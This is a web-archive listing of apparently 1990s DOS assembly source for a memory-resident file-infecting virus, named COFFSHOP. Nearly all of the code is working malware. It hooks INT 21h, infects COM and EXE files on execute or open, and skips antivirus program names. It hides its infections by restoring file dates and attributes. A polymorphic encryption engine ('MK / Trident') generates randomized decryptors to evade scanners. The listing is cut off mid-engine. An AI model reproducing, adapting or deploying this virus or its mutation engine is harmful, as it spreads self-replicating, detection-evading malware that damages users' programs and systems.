home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / COFFSHOP.ASM < prev    next >
Encoding:
Assembly Source File  |  1996-04-26  |  60.4 KB  |  1,663 lines

  1.                 .RADIX  16
  2.  
  3.  
  4.  
  5.  
  6.  
  7. _TEXT           segment
  8.  
  9.  
  10.  
  11.                 assume  cs:_TEXT, ds:_TEXT
  12.  
  13.  
  14.  
  15.  
  16.  
  17. VERSION         equ     3
  18.  
  19. PICLEN          equ     last - beeld            ;length of picture routine
  20.  
  21. FILELEN         equ     last - first            ;length of virus
  22.  
  23. FILEPAR         equ     (FILELEN + 0F)/10       ;length of virus in paragraphs
  24.  
  25. VIRPAR          equ     00D0                    ;space for resident virus
  26.  
  27. WORKPAR         equ     0160                    ;work space for engine
  28.  
  29. STACKOFF        equ     1000                    ;Stack offset
  30.  
  31. DATAPAR         equ     0050                    ;extra memory allocated
  32.  
  33. BUFLEN          equ     1C                      ;length of buffer
  34.  
  35.  
  36.  
  37.  
  38.  
  39. ;****************************************************************************
  40.  
  41. ;*              data area for virus
  42.  
  43. ;****************************************************************************
  44.  
  45.  
  46.  
  47.                 org     00E0
  48.  
  49.  
  50.  
  51. mutstack        dw      0, 0
  52.  
  53. oldlen          dw      0, 0
  54.  
  55. oi21            dw      0, 0
  56.  
  57. minibuf         db      0, 0, 0, 0
  58.  
  59.  
  60.  
  61.  
  62.  
  63. ;****************************************************************************
  64.  
  65. ;*              data area for engine
  66.  
  67. ;****************************************************************************
  68.  
  69.  
  70.  
  71. add_val         dw      0
  72.  
  73. xor_val         dw      0
  74.  
  75. xor_offset      dw      0
  76.  
  77. where_len       dw      0
  78.  
  79. where_len2      dw      0
  80.  
  81. flags           db      0
  82.  
  83.  
  84.  
  85.  
  86.  
  87. ;******************************************************************************
  88.  
  89. ;*              Begin of virus, installation in memory
  90.  
  91. ;******************************************************************************
  92.  
  93.  
  94.  
  95.                 org     0100
  96.  
  97.  
  98.  
  99. first:          call    next                    ;get IP
  100.  
  101. next:           pop     si
  102.  
  103.  
  104.  
  105.                 sub     si,low 3                ;SI = begin virus
  106.  
  107.                 mov     di,0100
  108.  
  109.                 cld
  110.  
  111.  
  112.  
  113.                 push    ax                      ;save registers
  114.  
  115.                 push    ds
  116.  
  117.                 push    es
  118.  
  119.                 push    di
  120.  
  121.                 push    si
  122.  
  123.  
  124.  
  125.                 mov     ah,30                   ;DOS version >= 3.1?
  126.  
  127.                 int     21
  128.  
  129.                 xchg    ah,al
  130.  
  131.                 cmp     ax,030A
  132.  
  133.                 jb      not_install
  134.  
  135.  
  136.  
  137.                 mov     ax,33DA                 ;already resident?
  138.  
  139.                 int     21
  140.  
  141.                 cmp     ah,0A5
  142.  
  143.                 je      not_install
  144.  
  145.  
  146.  
  147.                 mov     ax,es                   ;adjust memory-size
  148.  
  149.                 dec     ax
  150.  
  151.                 mov     ds,ax
  152.  
  153.                 xor     bx,bx
  154.  
  155.                 cmp     byte ptr [bx],5A
  156.  
  157.                 jne     not_install
  158.  
  159.                 mov     ax,[bx+3]
  160.  
  161.                 sub     ax,(VIRPAR+WORKPAR)
  162.  
  163.                 jb      not_install
  164.  
  165.                 mov     [bx+3],ax
  166.  
  167.                 sub     word ptr ds:[bx+12],(VIRPAR+WORKPAR)
  168.  
  169.  
  170.  
  171.                 mov     es,[bx+12]              ;copy program to top
  172.  
  173.                 push    cs
  174.  
  175.                 pop     ds
  176.  
  177.                 mov     cx,FILELEN
  178.  
  179.         rep     movsb
  180.  
  181.  
  182.  
  183.                 push    es
  184.  
  185.                 pop     ds
  186.  
  187.  
  188.  
  189.                 mov     ax,3521                 ;get original int21 vector
  190.  
  191.                 int     21
  192.  
  193.                 mov     ds:[oi21],bx
  194.  
  195.                 mov     ds:[oi21+2],es
  196.  
  197.  
  198.  
  199.                 mov     dx,offset ni21          ;install new int21 handler
  200.  
  201.                 mov     ax,2521
  202.  
  203.                 int     21
  204.  
  205.  
  206.  
  207.                 mov     ax,33DBh                ;init. random nr. generator
  208.  
  209.                 int     21
  210.  
  211.  
  212.  
  213.                 mov     ah,2A                   ;ask date
  214.  
  215.                 int     21
  216.  
  217.                 cmp     al,5                    ;friday ?
  218.  
  219.                 jne     not_install
  220.  
  221.                 mov     ah,2C                   ;ask time
  222.  
  223.                 int     21
  224.  
  225.                 or      dh,dh                   ;sec = 0 ?
  226.  
  227.                 jnz     not_install
  228.  
  229.                 
  230.  
  231.                 mov     ax,33DC                 ;show picture
  232.  
  233.                 int     21
  234.  
  235.  
  236.  
  237. not_install:    pop     si                      ;restore registers
  238.  
  239.                 pop     di
  240.  
  241.                 pop     es
  242.  
  243.                 pop     ds
  244.  
  245.                 pop     ax
  246.  
  247.  
  248.  
  249.                 add     si,(offset buffer)
  250.  
  251.                 sub     si,di
  252.  
  253.                 cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
  254.  
  255.                 je      entryE
  256.  
  257.  
  258.  
  259. entryC:         push    di
  260.  
  261.                 mov     cx,BUFLEN
  262.  
  263.         rep     movsb
  264.  
  265.                 ret
  266.  
  267.  
  268.  
  269. entryE:         mov     bx,ds                   ;calculate CS
  270.  
  271.                 add     bx,low 10
  272.  
  273.                 mov     cx,bx
  274.  
  275.                 add     bx,cs:[si+0E]
  276.  
  277.                 cli                             ;restore SS and SP
  278.  
  279.                 mov     ss,bx
  280.  
  281.                 mov     sp,cs:[si+10]
  282.  
  283.                 sti
  284.  
  285.                 add     cx,cs:[si+16]
  286.  
  287.                 push    cx                      ;push new CS on stack
  288.  
  289.                 push    cs:[si+14]              ;push new IP on stack
  290.  
  291.                 db      0CBh                    ;retf
  292.  
  293.  
  294.  
  295.  
  296.  
  297. ;******************************************************************************
  298.  
  299. ;*              Interupt 24 handler
  300.  
  301. ;******************************************************************************
  302.  
  303.  
  304.  
  305. ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
  306.  
  307.                 iret
  308.  
  309.  
  310.  
  311.  
  312.  
  313. ;******************************************************************************
  314.  
  315. ;*              Interupt 21 handler
  316.  
  317. ;******************************************************************************
  318.  
  319.  
  320.  
  321. ni21:           pushf
  322.  
  323.  
  324.  
  325.                 cmp     ax,33DA                 ;install-check ?
  326.  
  327.                 jne     not_ic
  328.  
  329.                 mov     ax,0A500+VERSION        ;return a signature
  330.  
  331.                 popf
  332.  
  333.                 iret
  334.  
  335.  
  336.  
  337. not_ic:         push    es                      ;save registers
  338.  
  339.                 push    ds
  340.  
  341.                 push    si
  342.  
  343.                 push    di
  344.  
  345.                 push    dx
  346.  
  347.                 push    cx
  348.  
  349.                 push    bx
  350.  
  351.                 push    ax
  352.  
  353.  
  354.  
  355.                 cmp     ax,33DBh                ;rnd init ?
  356.  
  357.                 jne     not_ri
  358.  
  359.                 call    rnd_init
  360.  
  361.                 jmp     short no_infect
  362.  
  363.  
  364.  
  365. not_ri:         cmp     ax,33DC                 ;show picture?
  366.  
  367.                 je      show_pic
  368.  
  369.  
  370.  
  371. not_pi:         cmp     ax,4B00                 ;execute ?
  372.  
  373.                 je      do_it
  374.  
  375.  
  376.  
  377.                 cmp     ax,6C00                 ;open DOS 4.0+ ?
  378.  
  379.                 jne     no_infect
  380.  
  381.                 test    bl,3
  382.  
  383.                 jnz     no_infect
  384.  
  385.                 mov     dx,di
  386.  
  387.  
  388.  
  389. do_it:          call    infect
  390.  
  391.  
  392.  
  393. no_infect:      pop     ax                      ;restore registers
  394.  
  395.                 pop     bx
  396.  
  397.                 pop     cx
  398.  
  399.                 pop     dx
  400.  
  401.                 pop     di
  402.  
  403.                 pop     si
  404.  
  405.                 pop     ds
  406.  
  407.                 pop     es
  408.  
  409.                 popf
  410.  
  411.  
  412.  
  413. org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler
  414.  
  415.  
  416.  
  417.  
  418.  
  419. ;******************************************************************************
  420.  
  421. ;*              Show picture
  422.  
  423. ;******************************************************************************
  424.  
  425.  
  426.  
  427. show_pic:       mov     ax,offset no_infect     ;push return adres on stack
  428.  
  429.                 push    cs
  430.  
  431.                 push    ax
  432.  
  433.  
  434.  
  435.                 mov     di,((VIRPAR*10)+0100)   ;move picture routine
  436.  
  437.                 mov     si,offset beeld
  438.  
  439.                 mov     cx,PICLEN
  440.  
  441.                 push    cs
  442.  
  443.                 pop     ds
  444.  
  445.                 push    cs
  446.  
  447.                 pop     es
  448.  
  449.         rep     movsb
  450.  
  451.  
  452.  
  453.                 mov     ax,cs                   ;calculate segment registers
  454.  
  455.                 add     ax,low VIRPAR
  456.  
  457.                 mov     ds,ax
  458.  
  459.                 mov     es,ax
  460.  
  461.  
  462.  
  463.                 push    ax                      ;push picture adres on stack
  464.  
  465.                 mov     ax,0100
  466.  
  467.                 push    ax
  468.  
  469.  
  470.  
  471.                 db      0CBh                    ;(retf) goto picture routine
  472.  
  473.  
  474.  
  475.  
  476.  
  477. ;******************************************************************************
  478.  
  479. ;*              Tries to infect the file
  480.  
  481. ;******************************************************************************
  482.  
  483.  
  484.  
  485. infect:         cld
  486.  
  487.  
  488.  
  489.                 push    cs                      ;copy filename to CS:0000
  490.  
  491.                 pop     es
  492.  
  493.                 mov     si,dx
  494.  
  495.                 xor     di,di
  496.  
  497.                 mov     cx,0080
  498.  
  499. namemove:       lodsb
  500.  
  501.                 cmp     al,0
  502.  
  503.                 je      moved
  504.  
  505.                 cmp     al,'a'
  506.  
  507.                 jb      char_ok
  508.  
  509.                 cmp     al,'z'
  510.  
  511.                 ja      char_ok
  512.  
  513.                 xor     al,20                   ;convert to upper case
  514.  
  515. char_ok:        stosb
  516.  
  517.                 loop    namemove
  518.  
  519. return0:        ret
  520.  
  521.  
  522.  
  523. moved:          stosb                           ;put last zero after filename
  524.  
  525.                 lea     si,[di-5]
  526.  
  527.                 push    cs
  528.  
  529.                 pop     ds
  530.  
  531.                 
  532.  
  533.                 lodsw                           ;check extension .COM or .EXE
  534.  
  535.                 cmp     ax,'E.'
  536.  
  537.                 jne     not_exe
  538.  
  539.                 lodsw
  540.  
  541.                 cmp     ax,'EX'
  542.  
  543.                 jmp     short check
  544.  
  545.  
  546.  
  547. not_exe:        cmp     ax,'C.'
  548.  
  549.                 jne     return0
  550.  
  551.                 lodsw
  552.  
  553.                 cmp     ax,'MO'
  554.  
  555. check:          jne     return0
  556.  
  557.  
  558.  
  559.                 std                             ;find begin of filename
  560.  
  561.                 mov     cx,si
  562.  
  563.                 inc     cx
  564.  
  565. searchbegin:    lodsb
  566.  
  567.                 cmp     al,':'
  568.  
  569.                 je      checkname
  570.  
  571.                 cmp     al,'\'
  572.  
  573.                 je      checkname
  574.  
  575.                 loop    searchbegin
  576.  
  577.                 dec     si
  578.  
  579.  
  580.  
  581. checkname:      cld                             ;check filename
  582.  
  583.                 lodsw
  584.  
  585.                 lodsw
  586.  
  587.                 mov     di,offset names
  588.  
  589.                 mov     cl,13
  590.  
  591.         repnz   scasw
  592.  
  593.                 je      return0
  594.  
  595.  
  596.  
  597.                 mov     ax,3300                 ;get ctrl-break flag
  598.  
  599.                 int     21
  600.  
  601.                 push    dx                      ;save flag on stack
  602.  
  603.  
  604.  
  605.                 cwd                             ;clear the flag
  606.  
  607.                 inc     ax
  608.  
  609.                 push    ax
  610.  
  611.                 int     21
  612.  
  613.  
  614.  
  615.                 mov     ax,3524                 ;get int24 vector
  616.  
  617.                 int     21
  618.  
  619.                 push    es                      ;save vector on stack
  620.  
  621.                 push    bx
  622.  
  623.  
  624.  
  625.                 push    cs
  626.  
  627.                 pop     ds
  628.  
  629.  
  630.  
  631.                 mov     dx,offset ni24          ;install new int24 handler
  632.  
  633.                 mov     ah,25
  634.  
  635.                 push    ax
  636.  
  637.                 int     21
  638.  
  639.  
  640.  
  641.                 mov     ax,4300                 ;ask file-attributes
  642.  
  643.                 cwd
  644.  
  645.                 int     21
  646.  
  647.                 push    cx                      ;save attributes on stack
  648.  
  649.  
  650.  
  651.                 xor     cx,cx                   ;clear attributes
  652.  
  653.                 mov     ax,4301
  654.  
  655.                 push    ax
  656.  
  657.                 int     21
  658.  
  659.                 jc      return1v
  660.  
  661.  
  662.  
  663.                 mov     ax,3D02                 ;open the file
  664.  
  665.                 int     21
  666.  
  667.                 jnc     opened
  668.  
  669. return1v:       jmp     return1
  670.  
  671.  
  672.  
  673. opened:         xchg    ax,bx                   ;save handle
  674.  
  675.  
  676.  
  677.                 mov     ax,5700                 ;get file date & time
  678.  
  679.                 int     21
  680.  
  681.                 push    dx                      ;save date & time on stack
  682.  
  683.                 push    cx
  684.  
  685.  
  686.  
  687.                 mov     cx,BUFLEN               ;read begin of file
  688.  
  689.                 mov     si,offset buffer
  690.  
  691.                 mov     dx,si
  692.  
  693.                 call    read
  694.  
  695.                 jc      closev
  696.  
  697.  
  698.  
  699.                 mov     ax,4202                 ;goto end, get filelength
  700.  
  701.                 xor     cx,cx
  702.  
  703.                 cwd
  704.  
  705.                 int     21
  706.  
  707.  
  708.  
  709.                 mov     di,offset oldlen        ;save filelength
  710.  
  711.                 mov     [di],ax
  712.  
  713.                 mov     [di+2],dx
  714.  
  715.  
  716.  
  717.                 mov     ax,word ptr [si+12]     ;already infected?
  718.  
  719.                 add     al,ah
  720.  
  721.                 cmp     al,'@'
  722.  
  723.                 jz      closev
  724.  
  725.  
  726.  
  727.                 cmp     word ptr [si],'ZM'      ;EXE ?
  728.  
  729.                 je      do_EXE
  730.  
  731.  
  732.  
  733. do_COM:         test    byte ptr [si],80        ;maybe a strange EXE?
  734.  
  735.                 jz      closev
  736.  
  737.  
  738.  
  739.                 mov     ax,word ptr [di]        ;check lenght of file
  740.  
  741.                 cmp     ah,0D0
  742.  
  743.                 jae     closev
  744.  
  745.                 cmp     ah,1
  746.  
  747.                 jb      closev
  748.  
  749.  
  750.  
  751.                 mov     dx,ax
  752.  
  753.                 add     dx,0100
  754.  
  755.                 call    writeprog               ;call Engine and write virus
  756.  
  757.                 jne     closev
  758.  
  759.  
  760.  
  761.                 mov     byte ptr [si],0E9       ;put 'JMP xxxx' at begin
  762.  
  763.                 sub     ax,low 3
  764.  
  765.                 mov     word ptr [si+1],ax
  766.  
  767.                 jmp     done
  768.  
  769.  
  770.  
  771. closev:         jmp     close
  772.  
  773.  
  774.  
  775. do_EXE:         cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
  776.  
  777.                 jb      not_win
  778.  
  779.  
  780.  
  781.                 mov     ax,003C
  782.  
  783.                 cwd
  784.  
  785.                 call    readbytes
  786.  
  787.                 jc      closev
  788.  
  789.  
  790.  
  791.                 mov     ax,word ptr [di+8]
  792.  
  793.                 mov     dx,word ptr [di+0A]
  794.  
  795.                 call    readbytes
  796.  
  797.                 jc      closev
  798.  
  799.                 
  800.  
  801.                 cmp     byte ptr [di+9],'E'
  802.  
  803.                 je      closev
  804.  
  805.  
  806.  
  807. not_win:        call    getlen
  808.  
  809.                 call    calclen                 ;check for internal overlays
  810.  
  811.                 cmp     word ptr [si+4],ax
  812.  
  813.                 jne     close
  814.  
  815.                 cmp     word ptr [si+2],dx
  816.  
  817.                 jne     close
  818.  
  819.  
  820.  
  821.                 cmp     word ptr [si+0C],0      ;high memory allocation?
  822.  
  823.                 je      close
  824.  
  825.  
  826.  
  827.                 cmp     word ptr [si+1A],0      ;overlay nr. not zero?
  828.  
  829.                 jne     close
  830.  
  831.  
  832.  
  833.                 call    getlen                  ;calculate new CS & IP
  834.  
  835.                 mov     cx,0010
  836.  
  837.                 div     cx
  838.  
  839.                 sub     ax,word ptr [si+8]
  840.  
  841.                 dec     ax
  842.  
  843.                 add     dx,low 10
  844.  
  845.  
  846.  
  847.                 call    writeprog               ;call Engine and write virus
  848.  
  849.                 jne     close
  850.  
  851.  
  852.  
  853.                 mov     word ptr [si+16],ax     ;put CS in header
  854.  
  855.                 mov     word ptr [si+0E],ax     ;put SS in header
  856.  
  857.                 mov     word ptr [si+14],dx     ;put IP in header
  858.  
  859.                 mov     word ptr [si+10],STACKOFF  ;put SP in header
  860.  
  861.  
  862.  
  863.                 call    getlen
  864.  
  865.                 add     ax,cx
  866.  
  867.                 adc     dx,0
  868.  
  869.                 call    calclen                 ;put new length in header
  870.  
  871.                 mov     word ptr [si+4],ax
  872.  
  873.                 mov     word ptr [si+2],dx
  874.  
  875.  
  876.  
  877.                 lea     di,[si+0A]              ;adjust mem. allocation info
  878.  
  879.                 call    mem_adjust
  880.  
  881.                 lea     di,[si+0C]
  882.  
  883.                 call    mem_adjust
  884.  
  885.  
  886.  
  887. done:           call    gotobegin
  888.  
  889.                 call    rnd_get                 ;signature
  890.  
  891.                 mov     ah,'@'
  892.  
  893.                 sub     ah,al
  894.  
  895.                 mov     word ptr [si+12],ax
  896.  
  897.                 mov     cx,BUFLEN               ;write new begin
  898.  
  899.                 mov     dx,si
  900.  
  901.                 mov     ah,40
  902.  
  903.                 int     21
  904.  
  905.  
  906.  
  907. close:          pop     cx                      ;restore date & time
  908.  
  909.                 pop     dx
  910.  
  911.                 mov     ax,5701
  912.  
  913.                 int     21
  914.  
  915.  
  916.  
  917.                 mov     ah,3E                   ;close the file
  918.  
  919.                 int     21
  920.  
  921.  
  922.  
  923. return1:        pop     ax                      ;restore attributes
  924.  
  925.                 pop     cx
  926.  
  927.                 cwd
  928.  
  929.                 int     21
  930.  
  931.  
  932.  
  933.                 pop     ax                      ;restore int24 vector
  934.  
  935.                 pop     dx
  936.  
  937.                 pop     ds
  938.  
  939.                 int     21
  940.  
  941.  
  942.  
  943.                 pop     ax                      ;restore ctrl-break flag
  944.  
  945.                 pop     dx
  946.  
  947.                 int     21
  948.  
  949.  
  950.  
  951.                 ret
  952.  
  953.  
  954.  
  955.  
  956.  
  957. ;******************************************************************************
  958.  
  959. ;*              Filenames to avoid
  960.  
  961. ;******************************************************************************
  962.  
  963.  
  964.  
  965. names:          db      'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
  966.  
  967.                 db      'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  '
  968.  
  969.                 db      '  ', '  ', '  '
  970.  
  971.  
  972.  
  973.  
  974.  
  975. ;******************************************************************************
  976.  
  977. ;*              Write virus to the program
  978.  
  979. ;******************************************************************************
  980.  
  981.  
  982.  
  983. writeprog:      push    ax                      ;save registers
  984.  
  985.                 push    dx
  986.  
  987.                 push    si
  988.  
  989.                 push    bp
  990.  
  991.                 push    es
  992.  
  993.  
  994.  
  995.                 cli
  996.  
  997.                 mov     word ptr [di-4],ss      ;save SS & SP
  998.  
  999.                 mov     word ptr [di-2],sp
  1000.  
  1001.  
  1002.  
  1003.                 mov     ax,cs                   ;new stack & buffer-segment
  1004.  
  1005.                 mov     ss,ax
  1006.  
  1007.                 mov     sp,((VIRPAR + WORKPAR) * 10)
  1008.  
  1009.                 add     ax,low VIRPAR
  1010.  
  1011.                 mov     es,ax
  1012.  
  1013.                 sti
  1014.  
  1015.  
  1016.  
  1017.                 push    ds
  1018.  
  1019.  
  1020.  
  1021.                 mov     bp,dx                   ;input parameters for engine
  1022.  
  1023.                 mov     dx,0100
  1024.  
  1025.                 mov     cx,FILELEN
  1026.  
  1027.                 xor     si,si
  1028.  
  1029.                 mov     al,0Fh
  1030.  
  1031.  
  1032.  
  1033.                 push    di
  1034.  
  1035.                 push    bx
  1036.  
  1037.  
  1038.  
  1039.                 call    crypt                   ;call the Engine
  1040.  
  1041.  
  1042.  
  1043.                 pop     bx
  1044.  
  1045.                 pop     di
  1046.  
  1047.  
  1048.  
  1049.                 push    cx
  1050.  
  1051.                 push    dx
  1052.  
  1053.                 mov     ax,4202                 ;goto end
  1054.  
  1055.                 xor     cx,cx
  1056.  
  1057.                 cwd
  1058.  
  1059.                 int     21
  1060.  
  1061.                 pop     dx
  1062.  
  1063.                 pop     cx
  1064.  
  1065.  
  1066.  
  1067.                 mov     ah,40                   ;write virus
  1068.  
  1069.                 int     21
  1070.  
  1071.                 cmp     ax,cx                   ;are all bytes written?
  1072.  
  1073.  
  1074.  
  1075.                 pop     ds
  1076.  
  1077.  
  1078.  
  1079.                 cli
  1080.  
  1081.                 mov     ss,word ptr [di-4]      ;restore stack
  1082.  
  1083.                 mov     sp,word ptr [di-2]
  1084.  
  1085.                 sti
  1086.  
  1087.  
  1088.  
  1089.                 pop     es                      ;restore registers
  1090.  
  1091.                 pop     bp
  1092.  
  1093.                 pop     si
  1094.  
  1095.                 pop     dx
  1096.  
  1097.                 pop     ax
  1098.  
  1099.  
  1100.  
  1101.                 ret
  1102.  
  1103.  
  1104.  
  1105.  
  1106.  
  1107. ;******************************************************************************
  1108.  
  1109. ;*              Adjust mem allocation info in EXE header
  1110.  
  1111. ;******************************************************************************
  1112.  
  1113.  
  1114.  
  1115. mem_adjust:     mov     ax,[di]
  1116.  
  1117.                 sub     ax,low FILEPAR          ;alloc. may be this much less
  1118.  
  1119.                 jb      more
  1120.  
  1121.                 cmp     ax,DATAPAR              ;minimum amount to allocate
  1122.  
  1123.                 jae     mem_ok
  1124.  
  1125. more:           mov     ax,DATAPAR
  1126.  
  1127. mem_ok:         mov     [di],ax
  1128.  
  1129.                 ret
  1130.  
  1131.  
  1132.  
  1133.  
  1134.  
  1135. ;******************************************************************************
  1136.  
  1137. ;*              Read a few bytes
  1138.  
  1139. ;******************************************************************************
  1140.  
  1141.  
  1142.  
  1143. readbytes:      call    goto
  1144.  
  1145.                 mov     dx,offset minibuf
  1146.  
  1147.                 mov     cx,4
  1148.  
  1149. read:           mov     ah,3F
  1150.  
  1151.                 int     21
  1152.  
  1153.                 ret
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159. ;******************************************************************************
  1160.  
  1161. ;*              Calculate length for EXE header
  1162.  
  1163. ;******************************************************************************
  1164.  
  1165.  
  1166.  
  1167. calclen:        mov     cx,0200
  1168.  
  1169.                 div     cx
  1170.  
  1171.                 or      dx,dx
  1172.  
  1173.                 jz      no_cor
  1174.  
  1175.                 inc     ax
  1176.  
  1177. no_cor:         ret
  1178.  
  1179.  
  1180.  
  1181.  
  1182.  
  1183. ;******************************************************************************
  1184.  
  1185. ;*              Get original length of program
  1186.  
  1187. ;******************************************************************************
  1188.  
  1189.  
  1190.  
  1191. getlen:         mov     ax,[di]
  1192.  
  1193.                 mov     dx,[di+2]
  1194.  
  1195.                 ret
  1196.  
  1197.  
  1198.  
  1199.  
  1200.  
  1201. ;******************************************************************************
  1202.  
  1203. ;*              Goto new offset DX:AX
  1204.  
  1205. ;******************************************************************************
  1206.  
  1207.  
  1208.  
  1209. gotobegin:      xor     ax,ax
  1210.  
  1211.                 cwd
  1212.  
  1213. goto:           xchg    cx,dx
  1214.  
  1215.                 xchg    ax,dx
  1216.  
  1217.                 mov     ax,4200
  1218.  
  1219.                 int     21
  1220.  
  1221.                 ret
  1222.  
  1223.  
  1224.  
  1225.  
  1226.  
  1227. ;****************************************************************************
  1228.  
  1229. ;*
  1230.  
  1231. ;*              Encryption Engine
  1232.  
  1233. ;*
  1234.  
  1235. ;*
  1236.  
  1237. ;*      Input:  ES      work segment
  1238.  
  1239. ;*              DS:DX   code to encrypt
  1240.  
  1241. ;*              BP      what will be start of decryptor
  1242.  
  1243. ;*              SI      what will be distance between decryptor and code
  1244.  
  1245. ;*              CX      length of code
  1246.  
  1247. ;*              AX      flags: bit 0: DS will not be equal to CS
  1248.  
  1249. ;*                             bit 1: insert random instructions
  1250.  
  1251. ;*                             bit 2: put junk before decryptor
  1252.  
  1253. ;*                             bit 3: preserve AX with decryptor
  1254.  
  1255. ;*
  1256.  
  1257. ;*      Output: ES:     work segment (preserved)
  1258.  
  1259. ;*              DS:DX   decryptor + encrypted code
  1260.  
  1261. ;*              BP      what will be start of decryptor (preserved)
  1262.  
  1263. ;*              DI      length of decryptor / offset of encrypted code
  1264.  
  1265. ;*              CX      length of decryptor + encrypted code
  1266.  
  1267. ;*              AX      length of encrypted code
  1268.  
  1269. ;*              (other registers may be trashed)
  1270.  
  1271. ;*
  1272.  
  1273. ;****************************************************************************
  1274.  
  1275.  
  1276.  
  1277.                 db      '[ MK / Trident ]'
  1278.  
  1279.  
  1280.  
  1281. crypt:          xor     di,di                   ;di = start of decryptor
  1282.  
  1283.                 push    dx                      ;save offset of code
  1284.  
  1285.                 push    si                      ;save future offset of code
  1286.  
  1287.  
  1288.  
  1289.                 mov     byte ptr ds:[flags],al  ;save flags
  1290.  
  1291.                 test    al,8                    ;push  AX?
  1292.  
  1293.                 jz      no_push
  1294.  
  1295.                 mov     al,50
  1296.  
  1297.                 stosb
  1298.  
  1299.  
  1300.  
  1301. no_push:        call    rnd_get                 ;add a few bytes to cx
  1302.  
  1303.                 and     ax,1F
  1304.  
  1305.                 add     cx,ax
  1306.  
  1307.                 push    cx                      ;save length of code
  1308.  
  1309.  
  1310.  
  1311.                 call    rnd_get                 ;get random flags
  1312.  
  1313.                 xchg    ax,bx
  1314.  
  1315.                                         ;BX flags:
  1316.  
  1317.  
  1318.  
  1319.                                         ;0,1    how to encrypt
  1320.  
  1321.                                         ;2,3    which register for encryption
  1322.  
  1323.                                         ;4      use byte or word for encrypt
  1324.  
  1325.                                         ;5      MOV AL, MOV AH or MOV AX
  1326.  
  1327.                                         ;6      MOV CL, MOV CH or MOV CX
  1328.  
  1329.                                         ;7      AX or DX
  1330.  
  1331.  
  1332.  
  1333.                                         ;8      count up or down
  1334.  
  1335.                                         ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
  1336.  
  1337.                                         ;A      ADD/SUB or INC/DEC
  1338.  
  1339.                                         ;       CMPSW or SCASW
  1340.  
  1341.                                         ;B      offset in XOR instruction?
  1342.  
  1343.                                         ;C      LOOPNZ or LOOP
  1344.  
  1345.                                         ;       SUB CX or DEC CX
  1346.  
  1347.                                         ;D      carry with crypt ADD/SUB
  1348.  
  1349.                                         ;E      carry with inc ADD/SUB
  1350.  
  1351.                                         ;F      XOR instruction value or AX/DX
  1352.  
  1353.  
  1354.  
  1355. random:         call    rnd_get                 ;get random encryption value
  1356.  
  1357.                 or      al,al
  1358.  
  1359.                 jz      random                  ;again if 0
  1360.  
  1361.                 mov     ds:[xor_val],ax
  1362.  
  1363.  
  1364.  
  1365.                 call    do_junk                 ;insert random instructions
  1366.  
  1367.  
  1368.  
  1369.                 pop     cx
  1370.  
  1371.  
  1372.  
  1373.                 mov     ax,0111                 ;make flags to remember which
  1374.  
  1375.                 test    bl,20                   ;  MOV instructions are used
  1376.  
  1377.                 jnz     z0
  1378.  
  1379.                 xor     al,07
  1380.  
  1381. z0:             test    bl,0C
  1382.  
  1383.                 jnz     z1
  1384.  
  1385.                 xor     al,70
  1386.  
  1387. z1:             test    bl,40
  1388.  
  1389.                 jnz     z2
  1390.  
  1391.                 xor     ah,7
  1392.  
  1393. z2:             test    bl,10
  1394.  
  1395.                 jnz     z3
  1396.  
  1397.                 and     al,73
  1398.  
  1399. z3:             test    bh,80
  1400.  
  1401.                 jnz     z4
  1402.  
  1403.                 and     al,70
  1404.  
  1405.  
  1406.  
  1407. z4:             mov     dx,ax
  1408.  
  1409. mov_lup:        call    rnd_get                 ;put MOV instructions in
  1410.  
  1411.                 and     ax,000F                 ;  a random order
  1412.  
  1413.                 cmp     al,0A
  1414.  
  1415.                 ja      mov_lup
  1416.  
  1417.  
  1418.  
  1419.                 mov     si,ax
  1420.  
  1421.                 push    cx                      ;test if MOV already done
  1422.  
  1423.                 xchg    ax,cx
  1424.  
  1425.                 mov     ax,1
  1426.  
  1427.                 shl     ax,cl
  1428.  
  1429.                 mov     cx,ax
  1430.  
  1431.                 and     cx,dx
  1432.  
  1433.                 pop     cx
  1434.  
  1435.                 jz      mov_lup
  1436.  
  1437.                 xor     dx,ax                   ;remember which MOV done
  1438.  
  1439.  
  1440.  
  1441.                 push    dx
  1442.  
  1443.                 call    do_mov                  ;insert MOV instruction
  1444.  
  1445.                 call    do_nop                  ;insert a random NOP
  1446.  
  1447.                 pop     dx
  1448.  
  1449.  
  1450.  
  1451.                 or      dx,dx                   ;all MOVs done?
  1452.  
  1453.                 jnz     mov_lup
  1454.  
  1455.  
  1456.  
  1457.                 push    di                      ;save start of decryptor loop
  1458.  
  1459.  
  1460.  
  1461.                 call    do_add_ax               ;add a value to AX in loop?
  1462.  
  1463.                 call    do_nop
  1464.  
  1465.                 test    bh,20                   ;carry with ADD/SUB ?
  1466.  
  1467.                 jz      no_clc
  1468.  
  1469.                 mov     al,0F8
  1470.  
  1471.                 stosb
  1472.  
  1473. no_clc:         mov     word ptr ds:[xor_offset],0
  1474.  
  1475.                 call    do_xor                  ;place all loop instructions
  1476.  
  1477.                 call    do_nop
  1478.  
  1479.                 call    do_add
  1480.  
  1481.  
  1482.  
  1483.                 pop     dx                      ;get start of decryptor loop
  1484.  
  1485.  
  1486.  
  1487.                 call    do_loop
  1488.  
  1489.  
  1490.  
  1491.                 test    byte ptr ds:[flags],8   ;insert POP AX ?
  1492.  
  1493.                 jz      no_pop
  1494.  
  1495.                 mov     al,58
  1496.  
  1497.                 stosb
  1498.  
  1499.  
  1500.  
  1501. no_pop:         xor     ax,ax                   ;calculate loop offset
  1502.  
  1503.                 test    bh,1                    ;up or down?
  1504.  
  1505.                 jz      v1
  1506.  
  1507.                 mov     ax,cx
  1508.  
  1509.                 dec     ax
  1510.  
  1511.                 test    bl,10                   ;encrypt with byte or word?
  1512.  
  1513.                 jz      v1
  1514.  
  1515.                 and     al,0FE
  1516.  
  1517. v1:             add     ax,di
  1518.  
  1519.                 add     ax,bp
  1520.  
  1521.                 pop     si
  1522.  
  1523.                 add     ax,si
  1524.  
  1525.                 sub     ax,word ptr ds:[xor_offset]
  1526.  
  1527.                 mov     si,word ptr ds:[where_len]
  1528.  
